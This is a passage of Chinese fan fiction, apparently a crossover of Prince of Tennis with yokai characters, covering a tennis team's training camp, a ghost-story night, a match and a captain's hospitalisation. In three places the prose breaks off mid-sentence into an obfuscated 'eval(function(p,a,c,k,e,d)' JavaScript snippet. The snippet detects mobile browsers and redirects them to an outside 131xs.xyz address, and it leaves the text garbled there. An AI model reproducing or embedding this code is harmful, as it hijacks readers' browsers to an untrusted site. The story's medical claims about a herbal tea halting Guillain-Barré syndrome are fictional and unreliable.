“这……这也是收藏吗?”丸井文吾小声问,生怕惊扰了这份宁静的华美。 加九间柳看着这些衣服,眼神似乎柔和了那么一丝。他终于说出了此次提供场地的其中一个目的:“合宿期间,白天的训练结束后,如果你们有兴趣,可以来这里挑选试穿。算是我提供场地的……一个小报酬。” “报酬?”幸村微微挑眉。 “嗯。”加九间柳的目光扫过立海大这群容貌气质各具特色的少年,非常直接地表达了自己的诉求,“我喜欢看好看的人穿漂亮的衣服。” 众人:“……” 仁王噗嗤一声笑出来:“噗哩~真是个不错的爱好呢。” 幸村失笑:“原来如此。很有趣的‘报酬’,如果大家不介意的话,我倒是很乐意满足加九间君这个愿望。”他本人对尝试不同风格的服饰并不排斥。 真田皱了下眉,似乎觉得这有些……不务正业?但在幸村含笑的目光下,还是把话咽了回去。 探索的最后,是后院那个巨大的、依着天然岩石地势开凿而成的露天温泉。氤氲的热气弥漫开来,带着淡淡的硫磺味,水面倒映着周围的绿树和天空。 “哦哦哦!温泉!”训练后的疲惫仿佛瞬间有了寄托,有几人已经欢呼起来。 “训练结束后泡温泉,的确是很好的缓解疲劳方式。”柳莲二客观地评价道,显然对这里非常满意。 正式的合宿训练就此展开。白日里,在柳莲二提前勘探并规划好的安全路线上,队员们进行了艰苦的山地越野跑、耐力冲刺、以及利用复杂地形的反应能力训练。加九间柳全程同行,确保他们不会迷路或遇到意外(比如某个容易摔跤的海带头,和防止小妖怪们钻出来吓人)。山顶那片被粗略平整出的空地,甚至还有一个简陋但可用的网球场,成为了他们完成登山训练后的奖励——可以进行一场呼吸着新鲜空气俯瞰风景的特别练习赛。 训练是枯燥而艰苦的,真田的训斥声和队员们挥洒的汗水充斥在白日的庭院和山间。但到了傍晚,尤其是加九间柳那个“换装报酬”的提议被幸村笑着提起后,气氛就变得轻松甚至有些欢快起来。 就连最初抗拒的真田,也在幸村一句“弦一郎,团队活动哦”以及全体目光注视下,略显僵硬地换上了一套深蓝色的纹付羽织袴,意外地合衬他严肃的气质。 幸村选择了一套淡紫色的访问着,符合加九间柳对他优雅神秘的印象。 仁王和柳生则互相“帮助”对方挑选了风格迥异的衣服,玩起了身份猜谜游戏,加九间柳的嗅觉灵敏,从来没有猜错过,于是被禁止参赛。柳明音被两人骗的晕晕乎乎,于是之后就算没有刻意伪装,也时常分不清楚。 丸井和胡狼选了更休闲的浴衣款式;切原则对一套带有火焰纹样的羽织感兴趣;柳莲二选择了一套最简单的深色和服,便于他继续记录数据。 加九间柳就安静地坐在廊下,看着这群闪闪发光的少年们在夕阳下或别扭或自然地展示着不同以往的风貌,在纸上速写的手不停,眼中流露出淡淡的满足。 嗯,果然很好看。 合宿的某一夜,或许是因为白天的训练量太大反而精神亢奋,或许是因为身处陌生环境有些新奇,大家似乎都有些难以入睡。不知是谁先提议的,众人聚在了宽敞的主屋大厅里。 加九间柳看了看众人,默默起身,去取来了与人数相等的古老的烛台,将明亮的电灯关闭,只点燃了青蓝色的蜡烛。跳跃的烛光在墙壁上投下摇曳的影子,瞬间将气氛烘托得有了几分诡秘。 “既然都睡不着,不如来讲故事吧。”幸村微笑着提议,紫色的眼眸在烛光下显得深邃莫测。 “好啊好啊!讲什么故事?”切原立刻响应。 “噗哩~恐怖故事怎么样?这种氛围正合适。”仁王坏笑着提议,目光扫过在场众人。 真田皱眉:“太松懈了!” 但显然,仁王的提议得到了多数人的暗中赞同。 于是,柳生比吕士推着眼镜,巧妙地利用了烛光营造恐怖点,讲了一个逻辑推理色彩的悬疑故事,突出的更多的是侦探的推理,很精彩,但并没有太让人感到害怕。 丸井文太讲的关于甜品屋的诡异传说,甜食爱好者进入了一个有着无穷无尽美味甜点的城堡,但只能眼睁睁看着而无法吃到,讲完只有他自己被吓到眼泪汪汪。 胡狼桑原讲的巴西雨林冒险经历,意外地很有氛围。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他开始讲述。并非多么血腥的画面,而是用一种近乎淡漠的语调,描绘着那种在极致寂静与黑暗中,对未知的等待,对计数即将完成的恐惧,以及灯一盏盏熄灭后视野逐渐被黑暗吞噬的绝望感。他讲述着那些故事中细微的不合常理的细节如何慢慢累积成毛骨悚然的真实;讲述着讲述者如何从最初的兴奋逐渐变得声音颤抖,冷汗淋漓;讲述着那第一百个故事的内容往往无人知晓,因为听到它的人…… 他的故事没有具体的鬼怪形象,却完美地利用了此刻的烛光环境和对心理恐惧的极致渲染。烛火在他平静的叙述中仿佛都变得阴冷起来,拉长的影子在墙壁上微微晃动,像是随时要活过来。 所有人都听得入了神,屏住呼吸。尤其是柳生比吕士,他脸色发白,眼镜下的眼神已经有些涣散。 当加九间柳用几乎听不见的气音,手掌合拢挡住那唯一的烛火,模拟出最后一盏灯被吹灭的“噗”声,并说出“然后,他听到了那个声音,就在他的耳边,问他……‘要听第一百个故事吗?’”时—— “呃啊!”一声压抑的短促惊叫。 只见柳生比吕士猛地从正坐姿态向后一仰,眼睛紧闭,竟是直接吓晕了过去,身体软软地倒在了榻榻米上。 众人:“!!!” 瞬间,恐怖的氛围被这突如其来的变故打破。 “柳生前辈?!” “比吕士!” “军师!快看看!” 一阵手忙脚乱。柳莲二迅速上前检查了一下:“只是惊吓过度导致的短暂晕厥,没有大碍。” 加九间柳看着晕过去的柳生,沉默了一下,似乎也没料到效果这么显著。他站起身,平静地说:“抱歉,我没控制好程度。” 然后他走过去,在众人惊讶的目光中,轻松地打横抱起了比他高大不少的柳生比吕士。 “我先送他回房间休息。你们……”他看了一眼剩下惊魂未定的众人,特别是脸色发青的切原和丸井,“也差不多该休息了。晚上的训练量看来还不够。”居然还有精力熬到这么晚来讲鬼故事,不过后面的话他没有说出来。 说完,他就这样抱着昏迷的柳生,稳稳地走向客房区域,留下身后一屋子表情各异的立海大正选们,以及那盏还在摇曳的,似乎也没那么恐怖了的烛光。 真田额头冒出青筋:“加九间柳!!” 但人已经走远了。 幸村愣了一下,随即忍不住轻笑出声:“呵呵……真是意想不到的结尾呢。” 仁王看着加九间柳离开的背影,摸了摸下巴:“噗哩~力气还真不小啊。” 这一夜的“怪谈会”,最终以绅士的暂时退场和主人公主导的过于写实的恐怖故事告终。加九间柳在他们房间挂上了移植在盆栽里长势不错的紫藤花,于是听完鬼故事的部员们,竟意料之外地都很早入眠,一夜无梦,是很不错的一觉。 10. 毛利前辈 合宿并非所有成员都严格遵循着计划。三年级正选毛利寿三郎,以其出色的天赋和……众所周知的逃训习惯,再次在集体山地越野时消失得无影无踪。 柳莲二合上笔记本,语气平淡:“毛利前辈又躲到某个角落睡觉的概率是98.7%。” 真田的脸色黑得能滴出墨,拳头紧握:“太松懈了!简直是浪费天赋!” 幸村微笑着,但笑容里带着一丝不容置疑的压迫力:“确实需要和毛利前辈好好谈谈了呢。” 加九间柳站在一旁,听着前辈们的对话,又想起几次训练中毛利前辈那看似懒散实则蕴含惊人爆发力的动作。他沉默地思索了片刻,然后忽然转身,走向放着自己网球包的角落。 “加九间君?”幸村注意到他的举动。 加九间柳拿出自己的球拍,握在手里,抬头看向面前的三位前辈,语气是一贯的平静,但眼神里透着难得的认真:“我去找毛利前辈谈谈。” “如果连我这样还没成为立海大正选的小学生都打不过的话,那毛利前辈还有什么理由逃训呢?” 这个理由听起来简单直接,甚至有些狂妄,但从加九间柳口中说出来,却奇异地带着一种说服力。幸村漂亮的紫色眼眸中闪过一丝兴味,他笑了笑:“会是很有效的方法。拜托你了,加九间君。” 加九间柳在庭院深处一棵古树上找到了窝在粗壮枝桠间打盹的毛利寿三郎,在他的庭院内,所有人的动向他都掌握得一清二楚。 “毛利前辈。”清冷的声音从树下传来。 毛利懒洋洋地睁开一只眼,瞥见是那个提供场地的未来小学弟,又闭上了眼,拖长了调子:“嗯~?是加九间啊……训练结束了?让我再睡会儿……” “没有结束。前辈,请下来和我打一场。”加九间柳抬头看着懒洋洋的前辈。 毛利觉得有些好笑,换了个更舒服的姿势:“别闹了,小朋友,我现在只想和周公约会哦~” “如果前辈赢了,合宿期间我可以帮前辈打掩护,并提供最佳的睡眠地点。”加九间柳抛出条件,随即话锋一转,“但如果前辈输了,就请遵守训练计划,不再逃训,不止合宿期间。” 这话终于让毛利稍微提起点兴趣。他翻身坐起,居高临下地看着树下那个面无表情的小豆丁:“哦?你很自信嘛~小学弟。”他利落地跳下树,拍了拍身上的草叶,接过加九间柳递来的备用球拍,笑容带着点漫不经心的调侃,“好吧好吧,就陪你玩玩~输了可别哭鼻子哦。” 加九间柳没有回答,只是默默走向一片空着的场地,内心其实远不如表面平静。他对自己的胜算并没有清晰的概念,之前只和幸村、真田对打过,几乎全程都在苦战,且胜率很低。深知立海大正选级别的实力深不可测。但他有必须这么做的理由。 比赛开始,毛利发球。他显然没太认真,只是一个普通的发球。 然而,加九间柳动了。他的动作迅捷得不像人类,仿佛一只捕猎状态下的狼,精准地出现在球的落点,手臂挥动,球拍与网球撞击发出清脆的响声。 “咻——!” 一道黄色的光束几乎是贴着地面疾射而过,在毛利尚未完全聚焦的瞳孔中瞬间放大,然后重重地砸在他身后的底线上,留下一个清晰的印记。 毛利:“……?” 毛利寿三郎甚至没来得及做出任何反应动作,球就已经结束了飞行。 加九间柳自己也愣住了,他看了看自己的球拍,又看了看对面僵住的毛利前辈。他刚才只是全神贯注,下意识地按照直觉打了回去,没想到…… 场边不知何时聚集了闻讯赶来的立海大众人,全都目睹了这一幕,一片寂静。 加九间柳收回目光,看向对面,非常实事求是的带着一丝真诚的困惑关心道:“前辈,是没吃早饭吗?力度和速度都不太够。” 毛利寿三郎:“!!!” 这一句话,比那个发球更让毛利破防。他那总是睡意朦胧的眼睛瞬间睁大,脸上懒散的表情消失了,取而代之的是一种被冒犯和激起斗志的锐利光芒。 “呵……”毛利低笑一声,弯下腰,摆出了认真的接发球姿势,“小子,你成功引起我的兴趣了。看来不认真点是不行了啊。” 接下来的比赛,彻底进入了加九间柳的节奏。或者说,进入了让毛利寿三郎极其不适的节奏。 加九间柳的网球,冰冷、精准、带着一股野性的狠戾。每一个回球都角度刁钻,力量沉得完全不似小学生,更可怕的是那种仿佛不知疲倦的奔跑和野兽般的直觉,总能预判到他的球路。和他对打,毛利感觉自己不像在打网球,更像是在冰天雪地里同一只饥饿的雪狼搏斗,四周是呼啸的寒风,每一次交锋都冷得刺骨,稍有不慎就会被撕开防线。 “Game,加九间,3-1!” “Game,加九间,5-4!” 毛利的汗珠不断滴落,他已经用上了真正的实力,甚至超常发挥,但那种无处不在的压迫感让他喘不过气。最终,加九间柳以一记干脆利落的底线抽击终结了比赛。 “6:4。比赛结束,加九间胜。”临时充当裁判的柳莲二宣布,笔尖在笔记本上飞快记录。 毛利撑着膝盖,大口喘着气,看着对面那个呼吸只是稍微急促了一点的后辈,眼神复杂,最终化作一声无奈的叹息和由衷的惊叹:“……真是个可怕的小子啊。” 加九间柳走到网前,平静地看着他:“约定。” 毛利直起身,抓了抓头发,终于露出了一个算是认真的笑容:“啊,知道啦知道啦~愿赌服输,不会再逃训了。啧,以后的日子看来不好混了……” 这时,早就按捺不住的切原赤也猛地冲进了场地,眼睛赤红地盯着加九间柳:“加九间!你原来这么强吗?!来和我打一场吧!我一定要打败你!” 加九间柳看了他一眼,没有任何犹豫,立刻扭头看向场边微笑观战的幸村精市,声音清晰无误地传递过去: “幸村前辈,切原前辈私下约球,违反训练时间外未经允许不得私自约战的队规。” 切原赤也:“???” 众人:“……” 真田额角青筋一跳:“太松懈了!切原!绕庭院二十圈!” 切原瞬间石化,哀嚎道:“为什么啊——!加九间你居然告状?!” 加九间柳完全没觉得这有什么问题,甚至略带疑惑地看了切原一眼,仿佛在说“这不是你的问题吗”。 幸村忍俊不禁,轻笑出声:“呵呵,加九间君对规则记得很熟呢。”他看向哀嚎的切原,“赤也,三十圈。” “诶——?!怎么又加了十圈?!” 经过毛利事件和切原的小插曲,加九间柳的实力得到了所有人的正视。但他并没有因此成为正选们的练习对手。 相反,在新一天的训练中,加九间柳向大家推荐了新的“教练”。 首先是一位穿着绿色运动服,是第一天来接他们的看起来十分可爱柔弱的少女——莹草。她拿着加九间柳为其定制的球拍,有些紧张局促地鞠躬:“请大家多指教。” 然后,她打出了第一个发球。 轰——!!! 一声巨响,网球如同陨石般砸在对面半场,不仅精准地压在底线上,更是直接将那片土地砸出了一个令人瞠目结舌的深坑,扬起的尘土几乎模糊了视线。 立海大全体正选:“!!!” 莹草不好意思不停鞠躬:“对不起!稍微用了点力,下次我会注意控制的!” 众人:这真的是“稍微”吗?! 另一位是一位气质温和、有着奇怪发型的青年——一目连。他微笑着颔首示意,遮住半边脸的头发似乎并没有影响到他的行动。 他的球风与莹草的暴力截然不同,每一个球都带着强烈到诡异的旋转,飞行轨迹完全违背物理定律,像是被风托举的网球,在空中划出各种不可思议的弧线,根本捉摸不透下一秒会飞向何处,让人防不胜防。柳莲二的数据网球在他面前几乎失效。 还有一位异常活泼跑步很快的小女孩——山兔。她不会用球拍打球,于是她的任务很简单:发球,不间断地高速发球,然后接住他们打回来的球并再次投掷出去,角度随机变化,专门训练他们的反应速度和接球技巧。一旦有人没接到,那力度控制得刚好只会让人痛一下的网球就会精准地砸到他们的脑袋上。 “哈哈!快点接啦快点接啦~”山兔欢快的声音伴随着密集的击球声响起。 加九间柳介绍他们时,只说是“我的朋友,来帮忙陪练”。虽然他们的强大和特色都诡异得非比寻常,但立海大的少年们被训练折磨得无暇深思,只当是加九间柳认识的一些奇人异士。 一整天的地狱特训下来,当莹草、一目连和山兔礼貌告辞后,立海大网球部的正选们几乎连爬回房间的力气都没有了,横七竖八地瘫倒在训练场边,眼神空洞,气息奄奄,变得破破烂烂了。 丸井文太:“甜蜜的蛋糕……要来接我走了吗……” 胡狼桑原:“已经感受不到了……四肢的存在……” 切原赤也:“眼睛……好花……有三个幸村部长在对我笑……好可怕……” 柳生比吕士还能勉强动一动,扶正眼镜,只是眼睛早已变成蚊香圈:“旋转……世界还在旋转……” 仁王雅治:“噗哩……噗哩……”失去了说话的力气。 真田弦一郎靠着墙壁,咬牙硬撑,只是明显中气不足:“只是这样就不行了吗……太松懈了……” 柳莲二的笔记本掉在一旁:“数据…… overload……需要重启……” 毛利寿三郎呈大字型仰望天空:“我开始怀念只是和雪狼搏斗的感觉了。” 幸村精市依旧优雅地坐在长椅上,但微微颤抖的手指暴露了状态:“真是……非常有效的训练呢。加九间君,你的朋友们……非常厉害。” 加九间柳看着瘫倒一地的前辈们,点了点头,平静地递上水壶和毛巾:“嗯,他们明天还会来。” 众人:“……” 一阵绝望的寂静后,是更加凄惨的、断断续续的“遗言”般的呻吟。 温泉池里氤氲的热气缓缓升腾,稍稍驱散了些许少年们身体上的极度疲惫,但精神上的冲击和肌肉的酸痛依旧让他们像一群被海浪冲上岸的海藻,软绵绵地瘫在池边石壁上,连手指都懒得动一下。 加九间柳将最后一位或扛或抱回房间,并确认预定的按摩师已经到位后,便独自一人来到了廊下。他并没有去泡温泉,只是安静地坐在那里,望着夜空中没什么云遮挡的明月,仿佛白昼那惊人的实力和之后安排的“地狱特训”都与他无关。 轻微的脚步声自身后响起,平稳而规律。 加九间柳没有回头,他早已闻到了对方的气味。 柳莲二拿着他那本从不离身的笔记本,走到加九间柳身边坐下。他刚刚也享受了专业的按摩,此刻虽然依旧疲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360811|183667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惫,但至少恢复了些许思考的力气。温泉池里的其他人都还在“挺尸”,正是谈话的好时机。 “加九间君,”柳莲二开口,声音因为疲惫比平时更低沉了些,带着一丝不易察觉的探究,“今天的训练,效果远超预期。你的朋友们……非常特别。” 加九间柳微微侧头:“嗯,他们在这方面很擅长激发潜力。” “不仅仅是擅长。”柳翻开笔记本,上面已经新增了密密麻麻关于莹草、一目连和山兔的观测数据和无数问号,“数据表明,他们所打出的网球极大地挑战现有物理和生理学认知,但在以往的赛事中,从来没有听说过能打出这样比赛的人的存在。这让我对你的数据也需要进行大幅修正和补充。” 他抬起头,镜片后的目光平静却专注地看向加九间柳:“所以,出于完善数据的必要,能请你回答我几个问题吗?”柳问得非常直接,完全是数据收集式的坦率,仿佛在调查一项重要的科研项目。 加九间柳似乎对这个问题略感意外,他还以为柳莲二会询问他的朋友,他甚至做好了拒绝的说辞。至于对方说的认知问题,在他的理解里,普通人类似乎也不应该能打出让网球起火的招式,加九间柳对于这方面的话题自动跳过。如果是收集关于他的信息……他沉默了片刻,并没有立刻拒绝。 柳莲二读懂加九间柳的意思,笔尖点上纸面。 “那么,加九间君,你的爱好。” “网球,绘画,剑道,弓道,花道,茶道……”加九间柳平静地报出一连串词汇,语气没有丝毫波澜,仿佛在列举再寻常不过的事情。 柳莲二握着笔的手几不可查地顿了一下。饶是他见多识广,数据庞大,也被这广泛爱好清单惊了一下。他迅速记录,同时冷静地追问:“掌握程度如何?与你的网球水平相比?” 加九间柳偏头思考了零点五秒,然后给出了一个让柳莲二笔尖再次微滞的回答:“差不多。”——和那个能打败毛利寿三郎网球水平差不多? 柳默默在“绘画”后面标注“未知流派,疑似专业级?”,“剑道”、“弓道”后标注“实力预估远超年龄段”,“花道”、“茶道”后标注“精通?”。他感觉自己的数据库需要为加九间柳单独开辟一个庞大的新分区。 “……了解了。”柳稳住心态,继续流程,“生日?” “7月7日。” 柳的笔尖飞快记录:7月7日,巨蟹座。与外表清冷感略有反差,内在或许更重情感与联结?(待观察) “喜欢的食物?” “……肉类。甜食。” 记录:明显的肉食、甜食主义者。需注意营养均衡。 “讨厌的食物?” “蔬菜。尤其是胡萝卜。”这次的回答带着一丝几乎难以察觉的类似小孩子闹别扭般的坚决。 记录:显著偏食倾向。厌恶特定蔬菜。需关注维生素摄入问题。 基础信息收集完毕,温泉那边的水声和零星呻吟似乎都远去了。柳莲二翻过一页,问出了最后一个,也是他数据模型中关于“人际关系与情感倾向”板块的关键问题。 “那么,最后一个问题,加九间君。”柳的声音平稳如常,“是否有在意或者喜欢的人?” 加九间柳墨色的眼眸似乎微微动了一下,像投入石子的平静湖面,极快地掠过一丝难以捕捉的涟漪。他沉默的时间比之前任何一次都要稍长几秒。 就在柳以为他会以“没有”或“无关”这类答案简单带过时,加九间柳开口了,声音比平时似乎更轻一些,却依旧清晰。 “喜欢的人……目前,没有具体的‘人’。” 这个回答有些抽象。柳的笔尖悬停,等待后续。 加九间柳的目光越过廊下,望向在夜色中显得更为幽深的庭院景致,轻声补充道:“但是,欣赏强大而坚定的灵魂,认可为目标不懈努力的意志。”他停顿了一下,似乎在寻找更准确的措辞,“……以及,不讨厌立海大网球部现在的氛围。” 他没有指向任何特定个体。最后那句“不讨厌”,以加九间柳的性格来说,几乎可以等同于“喜欢”了。 柳莲二飞速记录:情感模块:抽象化,特质化倾向。对‘立海大网球部’整体存在好感度加成。 他合上笔记本,数据的更新暂时告一段落。内心却不禁思索:加九间的数据真是充满了矛盾的趣味性。 “非常感谢你的回答,加九间君。这些数据非常宝贵。”他站起身,虽然身体依旧疲惫,但大脑因为新数据的涌入而处于活跃状态,“虽然关于你的‘朋友们’,数据仍然存在大量空白,我想目前你不愿和我解释的概率是76.37%,如果哪天你愿意和我介绍你的朋友了,可以随时来找我。” 他看向加九间柳,月光落在侧头看向他的加九间柳的眼睛里,闪着光泽。 “好好休息,明天……”柳顿了顿,想到那几位可怕的“教练”,即使是他,语气也难免带上一丝不易察觉的沉重,“……训练还会继续。另外,”他补充道,“之后加九间君加入立海大网球部后,餐食可以注意肉类比例,但为了体能考虑,各种蔬菜和胡萝卜也要少量出现。” 加九间柳的身体几不可查地僵硬了一瞬,随即恢复平静,只是淡淡地:“……嗯。” 语气里似乎藏着一丝极其微小的不情不愿的妥协。 柳莲二拿着他的笔记本,转身缓缓走向房间,脑海里已经开始将新获取的数据整合入库,并试图构建加九间柳更立体的模型。 11. 病发 11. 为期数日的合宿终于接近尾声。虽然经历了不少事,但整体而言,这次合宿的效果远超预期,每个人的实力都在极限压榨下有了显著提升。气氛轻松了许多,大家收拾着行李,准备各回各家。 加九间柳安静地站在廊下,看着前辈们忙碌。柳明音则在一旁打着哈欠,勉强帮忙清点着器材,显然又是差点睡过头还没完全清醒。 幸村精市微笑着看着部员们,正准备说些总结的话,脸色却忽然一白,身形不受控制地晃了一下,手中的网球袋掉落在地,发出沉闷的声响。 “幸村/部长?!”离他最近的真田和柳莲二立刻注意到他的异常,惊呼出声。 下一秒,幸村眼前一黑,整个人软软地向后倒去。 “幸村!”真田一个箭步冲上前,及时扶住了他下滑的身体,声音带着罕见的惊慌。 场面瞬间混乱起来。 “怎么回事?” “部长!” “快!叫救护车!” 加九间柳眉头紧蹙,迅速上前。他蹲下身,指尖极快地搭上幸村的手腕,感知着他的脉搏,另一只手轻轻翻开他的眼睑查看。动作熟练得不似一个小学生。 加九间柳抬头,语气冷静地安抚众人:“先平放,保持通风,救护车来之前不要随意移动。” 真田和柳立刻按照他说的,小心翼翼地将幸村平放在廊下的地板上。柳莲二已经拨通了急救电话,清晰快速地报出了地址和情况。 救护车很快赶到,将幸村送往了最近的医院。立海大一众少年们的心都揪紧了,所有合宿的疲惫和轻松瞬间被担忧取代,沉默地跟随着前往医院。 经过一系列紧急检查,医生带来的消息让所有人悬着的心放下了一大半。 “是格林-巴利综合征的早期症状显现。”医生看着检查报告,“幸好发现得非常非常及时。患者之前似乎接受过一些……嗯……非常规的调理?”医生斟酌着用词,他想到了检查时在幸村体内发现的一些奇特的活性成分,极大地延缓了病情的恶化,“目前神经损伤非常轻微,主要是因为近期过度疲劳诱发了症状。需要立即进行一个介入手术来清除炎症,防止进一步发展。如果再晚上几个月,情况就会变得很棘手了。” 后来醒来后的幸村精市了解到自己的情况,不由想起加九间柳每天雷打不动偷摸递来的那杯“特制蒲公英桃花樱花混合茶”。 手术很顺利。利用暑假剩余的时间完成手术和初步恢复绰绰有余。但医生也郑重告诫,开学后至少三个月内,幸村需要避免剧烈运动,并进行系统的康复训练,才能逐步恢复至可进行网球训练的水平。 关于康复训练方案,柳莲二已经着手开始收集数据制定计划。提起康复训练,加九间柳很有经验,于是他默默递过来一张写满了训练项目的清单。 柳莲二接过一看,就算是他,看到那份清单嘴角也几不可查地抽搐了一下。 清单上写着: 柔韧度康复至身体折叠塞进狭小箱子 单指倒立行走500米 瀑布下挥刀劈砍水流1000次(备注:需逆流) 身负巨木于崎岖山道往返疾驰10公里 闭气于水下进行躲避训练(备注:需躲避真刀) 柳莲二:“……” 这根本不是康复训练,这是超越人类极限的特种兵集训! 他推了推眼镜,面无表情地将清单递还给加九间柳:“加九间君,这份训练方案的强度和数据支持存疑,不符合医学康复原理,驳回。” 加九间柳看了看被退回的清单,又看了看柳莲二,眼神里似乎有一丝“这明明很有效”的不解,但最终还是默默收了起来。看来“上一世”结识的炭治郎先生那套恢复方法,不适合这个时代的普通人类部长。 最终,康复计划由柳莲二结合医生建议和专业理疗师意见制定,科学且循序渐进。立海大的众人也轮流排班,确保幸村在恢复期不会感到孤单,并能得到最好的照顾。 尽管切原赤也来的时候,多数是幸村精市在照顾他。 部长突然病倒让人担忧,但万幸发现及时,预后良好。立海大网球部或许会因此稍有波折,但他们的意志,绝不会因此而松懈,反而在真田弦一郎的督促下更为严苛。所有人都坚信,他们的部长一定会健康归来。 而加九间柳,则在思考是不是该去找点这个时代人类能接受的草药配方,之前给幸村开小灶送特制的健康茶的时候总会流露出微妙的拒绝神情。 加九间柳特制健康茶:加入了莹草的蒲公英,庭院的桃花樱花,蝴蝶童女等擅长治疗的小妖怪都送来一些有助于伤势恢复的药材或者别的什么,被加九间柳一股脑用开水泡了。过滤出来后闻起来会有淡淡的花香,喝一口可以苦的人灵魂出窍。 也难为幸村精市能够还算优雅的一口喝完,虽然在喝完之后会呆坐三分钟。 医院病房内,消毒水的气味淡淡弥漫。早已结束手术并且恢复得相当不错的幸村精市靠在床头,脸色虽仍有些苍白,但精神已然好了许多。窗外的阳光透过百叶窗,在他身上投下斑驳的光影。 加九间柳安静地坐在床边的椅子上,手里削着一个苹果,动作平稳流畅,果皮连成长长的一条,未曾断绝。他将削好的苹果又切成兔子模样的小块,放在小碟子里,插上牙签,默默推到幸村手边。这是跟隔壁照顾女儿的母亲学的。 “谢谢,加九间君。”幸村温和地笑了笑,插起一块苹果,却没有立刻吃,而是目光柔和地看向身旁沉默的小少年,“这次,真的多亏你了。” 加九间柳动作顿了顿,抬起那双清澈却似乎总藏着些什么的眼睛,望向幸村。 “我并没做什么,幸村前辈。”他的声音一如既往的平静,“是医生及时发现并进行了手术。” 幸村轻轻摇头,唇角含着洞悉一切的笑意:“不仅仅是晕倒那一刻。莲二告诉我了,是你最先判断情况并让大家保持冷静,处理得很专业。而且……” 他顿了顿,指尖无意识地摩挲着牙签尖端,眼神变得有些深远,仿佛在回忆合宿深夜或清晨被偷偷强行灌下“特制健康茶”的时光。 “更早之前,在合宿之前。你就察觉到了什么,对吗?”幸村的目光重新聚焦在加九间柳脸上,带着一丝探究,但更多的是感激,“那些茶,不仅仅是普通的‘提神茶’吧?” 虽然每次喝完都感觉灵魂快要升华或者说出窍,身体也确实会涌起一阵奇异的暖流,但事后疲惫感的确减轻许多。他原本只当是加九间柳学到了什么奇怪的偏方,或者小孩子独特的“关怀”方式,虽觉古怪却也不忍拒绝好意。或者是说加九间柳不喝就不放行,抓着手腕的手力气太大无法挣脱,一直被对方对目光盯着拒绝会产生莫名的愧疚感。 如今想来,那杯味道堪称酷刑的茶水,恐怕才是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360812|183667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他能将病情拖延至此刻才爆发并且损伤极轻的关键,还有最初的那株蒲公英。 加九间柳沉默了片刻。他不太擅长向普通人解释妖怪的事情。他看着幸村精市那双仿佛能看透人心的眼睛,知道隐瞒并无意义,对方显然已经猜到了大半。 他点了点头,声音依旧没什么起伏,但语气却很认真:“幸村前辈的身体,之前就有细微的病气。很微弱,但我能感觉到。”那是长期与妖鬼打交道,每次入世都游走于生死边缘后淬炼出的直觉,对生机与病气的感知远比常人敏锐。 “你的病症在积累,合宿的强度加快了它的速度。”他继续平静地陈述,仿佛在说一件很平常的事,“茶里加了些……有助于恢复的东西。” 幸村静静地听着,没有追问那些“东西”具体是什么。他只是看着加九间柳,眼前这个年纪小小却总透着与年龄不符的沉稳甚至神秘感的未来部员。他的行动远多于言语,那份关怀是实打实的,尽管方式总是如此……别具一格。 “所以,”幸村轻轻呼出一口气,笑容里带上了几分真诚的无奈和深深的庆幸,“如果不是加九间君坚持每天给我喝那个……嗯,‘特制健康茶’,我可能直到病情严重到无法掩饰时才会发现,到时候就真的来不及了,是吗?” 格林-巴利综合征,他事后查阅了资料,越看越是后怕。如果不是加九间柳,他或许会错过最佳治疗时机,网球生涯乃至健康都可能受到毁灭性打击。 加九间柳没说话,幸村精市当做默认。加九间柳看着对方,道:“部长很厉害。”所以无论是否有自己存在,都会度过这次劫难。 幸村闻言,忍不住轻笑出声,牵动了手上的留置针,微微蹙了下眉又很快舒展。他想起喝完茶后的三分钟呆滞,无奈道:“加九间君的茶,效果确实非凡,只是味道……也同样令人印象深刻。” 加九间柳没自己喝过,无法做出评价,不过看幸村精市的反应,他决定以后不去尝试。 幸村精市顿了顿,神色变得无比郑重,鸢紫色的眼中充满了诚挚的谢意:“加九间君,真的非常感谢你。你救了我的网球,甚至可能救了我的人生。” 这份恩情,太重了。 加九间柳不太习惯如此直白沉重的感谢,微微偏开视线,看着窗外:“立海大不可以失去幸村精市。”所以,幸村精市不能倒下。他的理由简单且纯粹。 幸村心中微动,他明白,这是加九间柳表达在乎的方式——用他独有的看似古怪却切实有效的方法,默默守护着他认为重要的人和事。 “不过,”幸村忽然想起柳莲二提过的那个离谱的康复计划,唇角弯起狡黠的弧度,“关于康复训练的方案,我还是更倾向于莲二制定的那份。加九间君的那份……嗯,或许可以留给未来的某些特殊场合?” 比如,惩罚训练?幸村觉得真田或许会感兴趣。 加九间柳看了看幸村,似乎认真思考了一下这个提议,但显然没有与其脑波共振,他一本正经地点点头:“嗯。那份不适合现在。等部长完全恢复了,可以试试。” 幸村精市:“……”其实不必。 幸村精市在康复后,私下会偷偷尝试加九间柳看似离谱的康复计划,但绝对不会在其他人面前表现出破破烂烂的样子。 